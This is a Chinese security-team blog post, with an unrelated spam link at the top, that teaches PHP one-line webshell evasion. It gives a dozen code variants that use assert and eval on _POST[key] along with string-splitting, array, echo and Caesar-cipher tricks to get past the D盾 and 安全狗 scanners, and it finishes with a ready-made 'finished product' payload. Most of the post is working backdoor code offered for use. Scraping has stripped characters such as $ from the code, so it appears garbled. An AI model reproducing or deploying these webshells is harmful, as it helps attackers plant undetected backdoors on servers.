早期白癜风可以治疗好 http://m.39.net/pf/a_7508091.html DedSec团队(简称:Ded组): 秉持着“不忘初心,互相学习,互相帮助,共同进步”四大原则不断前行。研究内容广泛,涉及Web安全,渗透测试,红蓝对抗CTF......利用良好的学习氛围不断前行! 感谢来自Ded组团队成员李坦然师傅的投稿分享。这篇文章主要内容为PHP一句话静态免杀+项目分享,希望大家能够从中有所收获。DedSec安全团队诚邀各位共同学习,共同进步。PHP7.1以下 采用assert函数:1.Switch函数 #预备知识:switch匹配正确后向下执行遇到break才会停止,没遇到就一直执行下去。 ?phpswitch(yes){caseno:break;caseyes:a="assert";default:a(_POST[key]);}? 2.数组免杀 ?phpx=str_replace(v,,assvert);y=array(=x(_POST[key]));? 3.数组交集+echo免杀 ?phpx=array(a=1,ss=2,vvv=dd,er=3);y=array(a=4,ss=5,er=6);#两个数组键名的交集,结果就是asserz=array_intersect_key(x,y);#取出键名a=array_keys(z);b=a[0].a[1].a[2].t;c=_POST[key]; b(`/**dd**/`.c);#拼接`/**dd**/`是为了逃逸变量函数:b(_POST[key])这种?但是仍然会检测变量函数这个特征, 加echo进行绕过:修改位置在b处?phpx=array(a=1,ss=2,vvv=dd,er=3);y=array(a=4,ss=5,er=6);#两个数组键名的交集,结果就是asserz=array_intersect_key(x,y);#取出键名a=array_keys(z);b=a[0].a[1].a[2].t;c=_POST[key];echo(b)(`/**dd**/`.c);? 4.substr函数降级 ?phpx=assvvvert;(substr(x,0,3).substr(x,6))(_POST[key]);? 会检测出来,原因未知, 上echo, ?phpx=assvvvert;echo((substr(x,0,3).substr(x,6)))(_POST[key]);? 5.普通函数降级 ?phpfunctionf(x,y){x(y);};f(_GET[k1],_POST[key]);? 函数变量, 上echo, ?phpfunctionf(x,y){echo(x)(y);};f(_GET[k1],_POST[key]);? 6.匿名函数降级 #预备知识:匿名函数是临时创建一个没有名字的函数。 ?phpa=function(x,y){x(y);};a(_GET[k1],_POST[key]);? 上双份echo降级, ?phpa=function(x,y){echo(x)(y);};echo(a)(_GET[k1],_POST[key]);? 7.echo免杀 可以发现echo的用处很大,如下代码可直接绕过D盾 ?phpd=assert;echo(d)(_POST[key]);? PHP7.1及以上 此版本assert函数无法使用。虽然可以使用eval,但是要注意的是eval是语言构造器而不是一个函数,不能被可变函数调用,也就是类似a="eval";a(_POST[key]);不能用。 eval远没有assert灵活,以至于7.1版本后的一句话免杀较为困难。 采用eval函数1.可变变量降级+echo免杀 ?phpa=aa;a=_POST[key];eval(aa);? 爆出aa是未知内容,和可疑eval 解决第一个问题, ?phpaa=hack#加了这段a=aa;a=_POST[key];eval(aa);? 解决第二个问题,上echo, ?phpaa=hack;a=aa;a=_POST[key];echoeval(aa);#修改这里? 2.遍历字符串免杀 ?phpa=_PO;b="ST[key]";c=a.b;for(i=0;istrlen(c);i++){k.=c[i];}eval(k);? 虽然能免杀,但是执行不了, 查阅资料, eval()构造器会将我们输入的字符串以PHP代码的方式运行,因为我们通过变量传入的是字符串,不是直接通过_POST[]传入的数据流,所以需要传入完整的PHP语句,即eval(eval()_POST[key]);); ?phpa=eval(_PO;b=ST[key]);;c=a.b;for(i=0;istrlen(c);i++){k.=c[i];} eval(k);?3.附上一个dalao的成品 过D盾,过安全狗 对于D盾牌,eval()中的变量的值如果不是明显符合webshell特征的话,D盾是不报毒的,故可以使用加密的方式进行绕过,对一个字符串处理后,再通过变量的方式传递给eval()。 ?php#使用的是凯撒加密的思想,通过左移一位a=u`k(_ONRS[w]);;for(i=0;istrlen(a);i++){if((ord(a[i])=96andord(a[i]))or(ord(a[i])64andord(a[i])91)){b.=chr(ord(a[i])+1);}else{b.=a[i];}}c=e; eval(c.b);?我认为很好的项目:希望对师傅们有帮助!1.红队向工具/资源分类合集 一个旨在通过应用场景/标签对Github红队向工具/资源进行分类收集,降低红队技术门槛的手册。 收集的工具项目种类齐全、都很优秀。 |